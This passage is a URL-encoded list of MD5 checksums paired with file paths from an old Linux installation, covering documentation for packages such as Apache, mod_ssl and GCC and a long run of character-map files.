4689bfb5%20%20%2Fusr%2Fshare%2Fdoc%2Fcurl-7.8%2FTheArtOfHttpScripting%0A73d5fb16504019454f7119696e37103e%20%20%2Fusr%2Fshare%2Fdoc%2Fmm-1.1.3%2FLICENSE%0A3d6853919e6ac3daccb8fa3df5ffb2c7%20%20%2Fusr%2Fshare%2Fdoc%2Fmm-1.1.3%2FPORTING%0Af96393f446c680b16f80850fba8a60f4%20%20%2Fusr%2Fshare%2Fdoc%2Fmm-1.1.3%2FREADME%0A5eb0b8751251ab2ee77e1c6e4ce9864b%20%20%2Fusr%2Fshare%2Fdoc%2Fmm-1.1.3%2FTHANKS%0A812e2190021f1969d00432f47e081b1b%20%20%2Fusr%2Fshare%2Fdoc%2Fapache-1.3.20%2Fcgi-bin%2Fprintenv%0A12929c70708c6da5390c4b02b3008c28%20%20%2Fusr%2Fshare%2Fdoc%2Fapache-1.3.20%2Fcgi-bin%2Ftest-cgi%0A8f68f9989142639c79f00059fd9f2179%20%20%2Fusr%2Fshare%2Fdoc%2Fapache-1.3.20%2FABOUT_APACHE%0A7d500a2f3f716f13637544ad24a6c6d5%20%20%2Fusr%2Fshare%2Fdoc%2Fapache-1.3.20%2FAnnouncement%0Aaef2b16e21f4087cb5963a8f1b4f7b66%20%20%2Fusr%2Fshare%2Fdoc%2Fapache-1.3.20%2FKEYS%0A92afa66b413bb09a3bbd590091a836f5%20%20%2Fusr%2Fshare%2Fdoc%2Fapache-1.3.20%2FLICENSE%0A0f2b8f59e909036b5d9febee9afdde2f%20%20%2Fusr%2Fshare%2Fdoc%2Fapache-1.3.20%2FREADME%0A56fe860a3f5ba8be38b432bf58a42480%20%20%2Fusr%2Fshare%2Fdoc%2Fmod_dav-1.0.2%2FLICENSE.html%0A17249510e8346e6d2dc56428089c1aa7%20%20%2Fusr%2Fshare%2Fdoc%2Fmod_dav-1.0.2%2FCHANGES%0A687989a692399ffbcb946b364700bf65%20%20%2Fusr%2Fshare%2Fdoc%2Fmod_dav-1.0.2%2FINSTALL%0Ad1bc06d40ebf99e97efe03028209ab19%20%20%2Fusr%2Fshare%2Fdoc%2Fmod_dav-1.0.2%2FREADME%0A6f427b4360bc089028a2dd2182d11533%20%20%2Fusr%2Fshare%2Fdoc%2Fmod_ssl-2.8.4%2FREADME.GlobalID%0A8f05829121cb5869ebded78d2e65816e%20%20%2Fusr%2Fshare%2Fdoc%2Fmod_ssl-2.8.4%2FCHANGES%0A2573acfaeb6f0eef6c71630458c63a52%20%20%2Fusr%2Fshare%2Fdoc%2Fmod_ssl-2.8.4%2FCREDITS%0Ab63fa207a8cc69a5b3fff04c0354e837%20%20%2Fusr%2Fshare%2Fdoc%2Fmod_ssl-2.8.4%2FLICENSE%0Ada66b9b593bb4df929e3995c3042e898%20%20%2Fusr%2Fshare%2Fdoc%2Fmod_ssl-2.8.4%2FNEWS%0A4cac9af65eee94e423b0e6667bc64bf8%20%20%2Fusr%2Fshare%2Fdoc%2Fmod_ssl-2.8.4%2FREADME%0Ae51364b0d9f42c1dc6b9279b15c511ee%20%20%2Fusr%2Fshare%2Fdoc%2Fmod_ssl-2.8.4%2FSSL-Certificate-Creation%0Aab9368e35d430cf410f2d0a58f7319e3%20%20%2Fusr%2Fshare%2Fdoc%2Fmod_ssl-2.8.4%2FREADME.Support%0A6f79c4bc416fb5b3260f2b23b259662e%20%20%2Fusr%2Fshare%2Fdoc%2Fmod_ssl-2.8.4%2FREADME.Versions%0A7c405bba7bdccc3e70fb439bc968ad02%20%20%2Fusr%2Fshare%2Fdoc%2Fmod_ssl-2.8.4%2FREADME.Wishes%0Aba59fb2c4f135099e80cdc681d880c5d%20%20%2Fusr%2Fshare%2Fdoc%2Ftcpdump-3.6.2%2FCHANGES%0A8b33e19ff74d282f6da9c279fa0626d3%20%20%2Fusr%2Fshare%2Fdoc%2Ftcpdump-3.6.2%2FREADME%0A07c33a285703b40cd6f93a478e97e03b%20%20%2Fusr%2Fshare%2Fdoc%2Fbinutils-2.11.90.0.8%2FREADME%0A470654aa2b9e96142c58a3b7b1f1afc4%20%20%2Fusr%2Fshare%2Fdoc%2Fgcc-2.96%2FChangeLog.CPP%0Afb2559d2834059ea59c70cd4d6a2dbef%20%20%2Fusr%2Fshare%2Fdoc%2Fgcc-2.96%2FChangeLog%0A0bb4ba0236664c077ed6f06a968d67a0%20%20%2Fusr%2Fshare%2Fdoc%2Fgcc-2.96%2FChangeLog.0%0A2c6f4cdeca31b71482c60b5b8c1efd94%20%20%2Fusr%2Fshare%2Fdoc%2Fgcc-2.96%2FChangeLog.1%0A4eba6b727eb9350911129d5951835751%20%20%2Fusr%2Fshare%2Fdoc%2Fgcc-2.96%2FChangeLog.2%0Adb69de1e67b13c7a6ce5323ba8bc2747%20%20%2Fusr%2Fshare%2Fdoc%2Fgcc-2.96%2FChangeLog.3%0Aebf34805aaaa9f91fb9fde6b43a00bcb%20%20%2Fusr%2Fshare%2Fdoc%2Fgcc-2.96%2FREADME.Portability%0A471d31613f0b6a261c7d39dee47201ff%20%20%2Fusr%2Fshare%2Fdoc%2Fgcc-2.96%2FChangeLog.lib%0A4804423c755a929408412852eb45e422%20%20%2Fusr%2Fshare%2Fdoc%2Fgcc-2.96%2FFSFChangeLog%0A9db6607e32094bb0bb914c6e1de5d5c4%20%20%2Fusr%2Fshare%2Fdoc%2Fgcc-2.96%2FFSFChangeLog.10%0A74836c6c609f155844de947ffc4b8ccd%20%20%2Fusr%2Fshare%2Fdoc%2Fgcc-2.96%2FFSFChangeLog.11%0Ac7fd77965538a788a95a25e7e3cdf0e7%20%20%2Fusr%2Fshare%2Fdoc%2Fgcc-2.96%2FREADME%0A84d5c4f12c8179d3fa7cc5524cbb512e%20%20%2Fusr%2Fshare%2Fdoc%2Fgcc-2.96%2FREADME-bugs%0A0eda67e4f2e5bbfe70aa4c8b0680f47c%20%20%2Fusr%2Fshare%2Fdoc%2Fgcc-2.96%2FREADME-fixinc%0A5dd346bd602f04e64f336587c5be3112%20%20%2Fusr%2Fshare%2Fdoc%2Fgcc-2.96%2FREADME.ACORN%0A3e968687cafd94c392c3986ec6560615%20%20%2Fusr%2Fshare%2Fdoc%2Fgcc-2.96%2FREADME.ALTOS%0A796a6ff81dbc84ab3fa2d8a16b8c8178%20%20%2Fusr%2Fshare%2Fdoc%2Fgcc-2.96%2FREADME.APOLLO%0Ad26fa093c72fd05474703c9495eaa3d5%20%20%2Fusr%2Fshare%2Fdoc%2Fgcc-2.96%2FREADME.AVR%0Ab0ee7ca35874ce37e795bc06235d536f%20%20%2Fusr%2Fshare%2Fdoc%2Fgcc-2.96%2FREADME.C4X%0A9262a51ba7e3b1ed9da23948f1f7f16f%20%20%2Fusr%2Fshare%2Fdoc%2Fgcc-2.96%2FREADME.DWARF%0Ac7bccc1e4cb6e7fb76c9ac7453f1446d%20%20%2Fusr%2Fshare%2Fdoc%2Fgcc-2.96%2FREADME.FRESCO%0Ace11976e5e8792251abb1a8dcd544e39%20%20%2Fusr%2Fshare%2Fdoc%2Fgcc-2.96%2FREADME.NS32K%0Ad372bbe3e00b906d4cacee23b4913cf0%20%20%2Fusr%2Fshare%2Fdoc%2Fgcc-2.96%2FREADME.RS6000%0A8022442ba059a1340d89b96ad97f288f%20%20%2Fusr%2Fshare%2Fdoc%2Fgcc-2.96%2FREADME.TRAD%0Aff9160c791c20998891e7f9f6accb49f%20%20%2Fusr%2Fshare%2Fdoc%2Fgcc-2.96%2FREADME.X11%0Acfca64cf814254fe022c44dfb6d66345%20%20%2Fusr%2Fshare%2Fdoc%2Fgcc-2.96%2FREADME.gnat%0A505812b3fa141c0b29aedaa09992c527%20%20%2Fusr%2Fshare%2Fdoc%2Fdev86-0.15.5%2FContributors%0A80e87f03daf683d7673432c9d6b46325%20%20%2Fusr%2Fshare%2Fdoc%2Fdev86-0.15.5%2FChangeLog%0Ac2eda2a9c8ce1351fffb1a87b8153438%20%20%2Fusr%2Fshare%2Fdoc%2Fdev86-0.15.5%2FREADME-0.4%0A9313a492d06f4167d1862d38219dc8ec%20%20%2Fusr%2Fshare%2Fdoc%2Fdev86-0.15.5%2FMAGIC%0A10a69fd0ebbeb8ea58a6558c9ebad660%20%20%2Fusr%2Fshare%2Fdoc%2Fdev86-0.15.5%2FREADME%0A9689f292583a78e19e7170f3488f3c2c%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FCSA_Z243.4-1985-1.gz%0A41db03080e801d63ab2f1ee431e3b521%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FANSI_X3.110-1983.gz%0A9cd14f0eb78a1d21b377d417279e3309%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FANSI_X3.4-1968.gz%0A2d3c8052ca60bf6c4854e04af70ee698%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FASMO_449.gz%0Aef91768b8116652343b5efaf69e75d5e%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FBIG5-HKSCS.gz%0A2ad76ea2deb23d7fda718730d8e69d52%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FBIG5.gz%0A3c69b6d5675a47a70fd8e4370a335326%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FBS_4730.gz%0Ad30361572c776bfa76f3a6fdbd33bb36%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FBS_VIEWDATA.gz%0Aa37b6738cfdb487e42a539d4b7b705aa%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FCP10007.gz%0A713d26de858fcafcaff79973c2b4a6c1%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FCP1250.gz%0Aaf6c7d74f482f1fcfde8db75acb31563%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FCP1251.gz%0A3afb4db325c016ab8d2d1e40cd744888%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FCP1252.gz%0Aaec211338a94f2d09155a537bad5b15a%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FCP1253.gz%0A26ae63376178d9f432e6ea9c39b6b0a2%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FCP1254.gz%0A00f4c4476f0385c9e6e2a02a381270df%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FCP1255.gz%0A4e9a3070b7b6c835601224926d0d7690%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FCP1256.gz%0A3435a63d2fd9a1aa4f2c4a1124dd480d%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FCP1257.gz%0A7d43dd552fcc776bb0b7cf8eb6d00f13%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FCP1258.gz%0A2a42f2f3d54a52930ebcf668f551c9a2%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FCP737.gz%0A41ab3fa4f4a45dc07c70999d67f3940e%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FCP775.gz%0A38a76dd5cf91b99b3795dce7b0a81a47%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FCP949.gz%0A15adf6f4155e7e0f38fd6b0dfbd017c5%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FDEC-MCS.gz%0Aeca2192b497e8495f1cb3fc882bb6917%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FCWI.gz%0Ad74b909817e4035e4b4c1bccc8d2ac33%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FCSA_Z243.4-1985-2.gz%0Aaa099e994ec18e740a3f5788a6a5277e%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FCSA_Z243.4-1985-GR.gz%0A3803362a71ddb1d606c32cc2eefb8b07%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FCSN_369103.gz%0A78fd27de05be73851887775d43e9aca2%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FEBCDIC-AT-DE-A.gz%0Ad71cf3140a5e6723d3f6862ce844ac01%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FDIN_66003.gz%0A436af07512a53ccb8d9f4d9dab1f58cc%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FDS_2089.gz%0A7b86a4d4f857359a8f58398f8f4dbc74%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FEBCDIC-DK-NO-A.gz%0A5e0f46e42d2a472b845f40204348d9f5%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FEBCDIC-AT-DE.gz%0Aed34bbab569766ed9f11da75190e860a%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FEBCDIC-CA-FR.gz%0Ac43710f49d2349a992f79e16d4800645%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FEBCDIC-FI-SE-A.gz%0A3ff351e209803844fef3c30173766899%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FEBCDIC-DK-NO.gz%0Afb2eecb7c5d7552be5b8112b8936e57b%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FEBCDIC-ES-A.gz%0Aef066e4cef2054999bdcc29548154499%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FEBCDIC-ES-S.gz%0Af19423105554fc691940972d224b2caa%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FEBCDIC-ES.gz%0A5aecf3937c614770bc28c81943ef7db6%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FEBCDIC-IS-FRISS.gz%0Af0d8034a4f133cba1624f7c7a9eee626%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FEBCDIC-FI-SE.gz%0A1b6ac686e85fea6bb563776169357e22%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FEBCDIC-FR.gz%0Ae7216349f08cad9ab5455cb27d3d692f%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FECMA-CYRILLIC.gz%0Acb442a4b7d1b59893d220b5964609803%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FEBCDIC-IT.gz%0Aad180b783558f64c4809d62735c76921%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FEBCDIC-PT.gz%0A02354f0a085a47616ac880a97969ff47%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FEBCDIC-UK.gz%0Ab7ce7bfe186654d7ba0ffb33a5d100a5%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FEBCDIC-US.gz%0A2b25bd03130f235a98b122b6c9360df7%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FEUC-JP.gz%0A77843c667747c867974cfb629684662b%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FES.gz%0Affcbc2653df1c741ced823cc5abfa78e%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FES2.gz%0A4b7df77f33f270583bb4a891b5c04e7b%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FGB_1988-80.gz%0A806fdd2a2365e7299575ce06202eaafa%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FEUC-KR.gz%0A631cad8f2949b98d7850cb5e22425074%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FEUC-TW.gz%0Ab65c5e48d7ef533aab7e558423b1df02%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FGB18030.gz%0A5bb84f239736759e91abd525613462b6%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FGB2312.gz%0A87af5c323fc29c58b2d035bf068c2a89%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FGBK.gz%0A4aead7732a9b9714643749b350168019%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FJIS_C6220-1969-JP.gz%0A9761f1cd479856017fd83e1d3263e4f0%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FGEORGIAN-ACADEMY.gz%0A79e73472b1393bd8bd871d0d0b95e5b2%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FGEORGIAN-PS.gz%0Abba37998abbb7c1e396b8da3eb21980c%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FGOST_19768-74.gz%0A5cb2749e0e0cdb678ae6121ea53ee361%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FGREEK-CCITT.gz%0A39a5ef803b18982bf431e722552975ce%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FGREEK7-OLD.gz%0Aee0ff1edc3011b04d3cc57942cdc9d5a%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FGREEK7.gz%0A8017b4d621975e63c3d512a9d4205ac5%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FHP-ROMAN8.gz%0A78b316f7430131c2f13e03298a311572%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM037.gz%0A4fd52bfd78a0eb1634c5dfd797dbce4b%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM038.gz%0A863e6166ee4106535ac0a94928b82e26%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM1004.gz%0A81e600ec435016e7250e9cc35884426f%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM1026.gz%0A393c8aa195e548d51100b5e8544bb77b%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM1047.gz%0Aea22ea82d69d78c8f50a1e609ca5aa80%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM256.gz%0Aec3c5cb06be7de35ff7fc6c349fef6f8%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM273.gz%0A9917d15977d442391ad9d2a275813a95%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM274.gz%0A36f95b1fc88c95d07224586a78a4cc42%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM275.gz%0A473ba90adcde781094a5ef2a8c5fbd45%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM277.gz%0Afac941bbd824e8d3c4b88a70cfbc012b%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM278.gz%0A5010d2904df14028043ad9f71ff9a5ca%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM280.gz%0Afc02463eafd2329f5dd8e410287b38e2%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM281.gz%0A09bf74cf4fbcb8f84c34073f1eab1096%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM284.gz%0Aff6364fb09ac3e5007204f0c1d848b68%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM285.gz%0A118ef58c3f6e15aeaa85425c33f556d5%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM290.gz%0A1faf7a8aa889c20ceceedc0b52b81121%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM297.gz%0A26b88c33cd1e2d8db171f506e8a4962a%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM420.gz%0A22eed04a84e90e6f5896cb44663a38bd%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM423.gz%0A092bc2686e0d41dd3dc701d453503c0b%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM424.gz%0Aa4ab6a0367a20ee578d5f5404f02f014%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM437.gz%0A00f2ec83fc05ca85d9179858c3febb7b%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM500.gz%0A3d0db3eff6f43eed06f98f161bc2cefb%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM850.gz%0Af9db924dce5fe97e6857115de9c27a07%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM851.gz%0Af85451261d55c0c136e7404f5e57aa6a%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM852.gz%0A81060adbbd66df4dd07d5a8c51008922%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM855.gz%0A33d34ecaccb8338b007482ed5b28a646%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM857.gz%0A74d53ca98c3358742d397794537df544%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM860.gz%0A234429f5e6ea35bb2fc0194acce5a9c5%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM861.gz%0A719eb7145f996afb3f2dc7c3325dcb50%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM862.gz%0A6f61d7a83fcd9389159b5de0e04ddd4c%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM863.gz%0Abc78d16ff6769a8fe3f85272af83d730%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM864.gz%0A87740793f8c8637bf9aa2874da9c9ff7%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM865.gz%0A4f0349a73bc4dcf8630355890bbe4636%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM866.gz%0Ac074f25912b0c08e06b7aa7ed43e4627%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM868.gz%0Acc1d87d488f87ba7eb3b5b455a6f087f%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM869.gz%0Ad41a19f97c60011cfb49c48a0f8801e8%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM870.gz%0A59c3df3a83a1fd326516664358fc1cc1%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM871.gz%0A3ba6089ca53b02e28faec8d954a0636f%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM874.gz%0A6e3ce9dd3b29d5f44c68f5111c08b7d0%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM875.gz%0Ae6e809d789d6b6b34f864e2a7b8c608a%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM880.gz%0Aa61406ea6717b4577968cb97b69b7866%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM891.gz%0Ac4f490ca2cf80017314cc137e18484ce%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM903.gz%0Afcb15e84f89862245a0d787d2f7275aa%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM904.gz%0Ad7946641058a3380e3ae0292c6d7f8b2%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM905.gz%0A66047c4e721072579985466d06143caf%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIBM918.gz%0Af4f3e8fc1343a5de3e26bea4afc15e69%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIEC_P27-1.gz%0A4053151d3a0807824228bdfecb051426%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FINIS-8.gz%0A94d9f468deec5c72dc81c2e3548f9e68%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FINIS-CYRILLIC.gz%0A83b83baa9cfcf745d20a7532c9385268%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FINIS.gz%0A77850d351555f8e8975de45d0be05e4f%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FINVARIANT.gz%0Ac6b3b119b277380eed81560f70334086%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISIRI-3342.gz%0A261670ae17667b35235af465cfedd32c%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO-8859-1.gz%0A1e096bb4c2a1e9ed354a25337063343c%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO-8859-10.gz%0A431edd59de5ab26907ab1c61f5f1f2d9%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO-8859-13.gz%0A37cd4420d721bfee1d6baa9e5e860749%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO-8859-14.gz%0Afae253b37127475c6804ff0af22d1c2f%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO-8859-15.gz%0A61f970d5c205f7f6180007c132381cef%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO-8859-16.gz%0Aaf7076497c5742d26382d68b74272c9e%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO-8859-2.gz%0Aa50ba4589568afc7e3aa123db360880d%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO-8859-3.gz%0A15ceb42bfe4e6da102c5f62b46fd0676%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO-8859-4.gz%0A7d781cf865c44615925fd842a568b4a4%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO-8859-5.gz%0Ae0dd1a586ce64096ed7bb11e4633ae4a%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO-8859-6.gz%0A965b74ec5a683676dfe67b48d255ab8c%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO-8859-7.gz%0A48dd414331e6fe6bbde94ebcc6f200ce%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO-8859-8.gz%0A545d9ed70cf9a13268e51e7e7fa31613%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO-8859-9.gz%0A1cce5872806b05a7b5446e58a05a36b6%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO-IR-197.gz%0A54174cbbcac02bd70fddd728a144296b%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO-IR-209.gz%0Aa8d37e886e4c9be1b560d78331890fd3%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO-IR-90.gz%0A511e3f090d3726f3533341151397fab4%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO_10367-BOX.gz%0A9f444c2d745b659703abdc4f0b228ca7%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO_10646.gz%0A51821d561c0d30e5b5a766ed067c0483%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO_2033-1983.gz%0A9afb217bd34fa127ad95a87d9424bf6f%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO_5427-EXT.gz%0A2001c92ea12f712b01939ec886b4045d%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO_5427.gz%0A3980a0795251ac870ebe49456b417be7%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO_5428.gz%0Ab4458387633aa59a3792d152bbaeb8f5%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO_646.BASIC.gz%0Ab9f857dc3d11b4007d5d2ae855e0acf6%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO_646.IRV.gz%0A8f42d6e100d5bce4cef6ca670a04544c%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO_6937-2-25.gz%0A647dc9ad04f66b70dfe890d5f1ed159a%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO_6937-2-ADD.gz%0A8c32ec5d1b842095d2002f7e4e9b5dac%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO_6937.gz%0A2406b3ebba992ea7884970f045413b36%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO_8859-1%2CGL.gz%0A2c5d65cca117c499a3f011b5410717e0%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FISO_8859-SUPP.gz%0A73a98c1e171be50939863625b5bf4970%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FIT.gz%0A8c8f11debb32231f10d2a44d2d7eb1df%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FJIS_C6229-1984-HAND-ADD.gz%0Ad04f0cc13001694b36cdfba0a9445f7c%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FJIS_C6220-1969-RO.gz%0Ae9988f1c2d19134d9e42fa621c8ae26c%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FJIS_C6229-1984-A.gz%0A5ad2fd4857a18cd129f99e66716f8b2a%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FJIS_C6229-1984-B-ADD.gz%0A528d8e8416a4ce9928829a0d7afee7f6%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FJIS_C6229-1984-B.gz%0Ac7b7013a3989149dfd25187c03eaeb7c%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FSAMI-WS2.gz%0A4b51747715d91aebc7b315a1aff4915d%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FPT.gz%0Ac96a7d60033a463c76139a4688a56999%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FJIS_C6229-1984-HAND.gz%0A08f2c80f6cdbf5b1163f6f7a140b4fe0%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FJIS_C6229-1984-KANA.gz%0A6f1e3cbae4d8a203b1027c3d5025c790%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FJIS_X0201.gz%0A16585a641119eeac6a38df39769dfa79%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FJOHAB.gz%0A06eabf674f3bbc0eaa5df5e1501e0312%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FJUS_I.B1.002.gz%0Ac